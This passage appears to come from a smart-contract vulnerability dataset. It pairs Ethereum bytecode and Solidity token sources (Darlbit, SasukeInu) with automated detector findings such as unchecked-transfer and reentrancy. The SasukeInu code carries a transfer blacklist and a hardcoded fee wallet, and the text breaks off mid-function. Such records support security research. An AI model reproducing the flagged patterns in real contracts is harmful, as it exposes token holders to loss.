03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561062d57600080fd5b505af1158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b50516106aa576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156106fe57600080fd5b505af1158015610712573d6000803e3d6000fd5b505050506040513d602081101561072857600080fd5b505161077b576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546107959084610f97565b336000818152600d60205260409020919091556107b490600b9061117e565b80156107cd5750336000908152600d6020526040902054155b156107df576107dd600b33611193565b505b505050565b60006107f1600b8361117e565b6107fd57506000610892565b6001600160a01b0382166000908152600d602052604090205461082257506000610892565b6001600160a01b0382166000908152600f6020526040812054610846904290610f97565b6001600160a01b0384166000908152600d6020526040812054600454600354939450909261088c91612710916105bd919082908890610886908990611142565b90611142565b93505050505b919050565b6002546001600160a01b031681565b60006108b2600b6111a8565b90505b90565b600080546001600160a01b031633146108d057600080fd5b60059290925560065590565b600080546001600160a01b031633146108f457600080fd5b60099190915590565b600a5460ff1681565b61090f33610fae565b565b600080546001600160a01b0316331461092957600080fd5b60039190915590565b600a5460ff16151560011461098e576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b600081116109e3576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a3d57600080fd5b505af1158015610a51573d6000803e3d6000fd5b505050506040513d6020811015610a6757600080fd5b5051610aba576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610ac333610fae565b6000610ae06127106105bd6005548561114290919063ffffffff16565b90506000610aee8383610f97565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610b4a57600080fd5b505af1158015610b5e573d6000803e3d6000fd5b505050506040513d6020811015610b7457600080fd5b5051610bc7576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610be190826111b3565b336000818152600d6020526040902091909155610c0090600b9061117e565b6107df57610c0f600b336111c2565b50336000908152600e60205260409020429055505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b03163314610c6e57600080fd5b6001546001600160a01b0384811691161415610ca957610c8c610e31565b811115610c9857600080fd5b600854610ca590826111b3565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d0057600080fd5b505af1158015610d14573d6000803e3d6000fd5b505050506040513d6020811015610d2a57600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610d5e57600080fd5b6001600160a01b03831615801590610d7e57506001600160a01b03821615155b610db95760405162461bcd60e51b815260040180806020018281038252602a815260200180611372602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006108b5565b6000610e5f600854600954610f9790919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133f6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610fa357fe5b508082035b92915050565b6000610fb9826107e4565b90508015611125576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561101757600080fd5b505af115801561102b573d6000803e3d6000fd5b505050506040513d602081101561104157600080fd5b5051611094576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152601060205260409020546110b790826111b3565b6001600160a01b0383166000908152601060205260409020556008546110dd90826111b3565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b600082820283158061115c57508284828161115957fe5b04145b61116257fe5b9392505050565b60008082848161117557fe5b04949350505050565b6000611162836001600160a01b0384166111d7565b6000611162836001600160a01b0384166111ef565b6000610fa8826112b5565b60008282018381101561116257fe5b6000611162836001600160a01b0384166112b9565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156112ab578354600019808301919081019060009087908390811061122257fe5b906000526020600020015490508087600001848154811061123f57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061126f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610fa8565b6000915050610fa8565b5490565b60006112c583836111d7565b6112fb57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610fa8565b506000610fa856fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a264697066735822122091c6e016e1170e209eac7ae296d1b4e06b47eea4c940f08c88a5292ee944405d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,380 |
0x6a83746a38eb87de9416c3d01a5f29b66424a0a3
|
/**
*Submitted for verification at Etherscan.io on 2021-04-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// saft math
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// IERC20Metadata
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// ERC20
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// owner
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DARLCoin is ERC20 {
constructor() ERC20 ("Darlbit", "DARL") {
_mint(msg.sender, 10000000000 * 10 ** uint(decimals()));
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190611015565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610ffa565b60405180910390f35b610104610326565b6040516101119190611117565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610ffa565b60405180910390f35b610152610431565b60405161015f9190611132565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610ffa565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190611117565b60405180910390f35b6101d061052e565b6040516101dd9190611015565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610ffa565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610ffa565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190611117565b60405180910390f35b6060600380546102859061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061127b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea2646970667358221220a9925919a55e5c62ac69e4f70584947f7b284545913143ed911cad1ad19d3fb764736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 3,381 |
0x700e2e9f0dd7de972827200d606d2f43e644f052
|
/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-23
*/
// SPDX-License-Identifier: Unlicensed
/*
Telegram: https://t.me/Sasukeinuofficial
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SasukeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistributionAddress;
uint256 private _feeAddr2;
address payable private _marketingAddress;
string private constant _name = "SasukeInu";
string private constant _symbol = "SASUKE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public openTradingTime;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_marketingAddress = payable(0xb7eB137B622444f5e1A01A7736b22fa77cE55736);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_redistributionAddress = 1;
_feeAddr2 = 3;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
if (block.timestamp < openTradingTime + 15 minutes) {
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
openTradingTime = block.timestamp;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),300000000 * 10 ** 9,0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
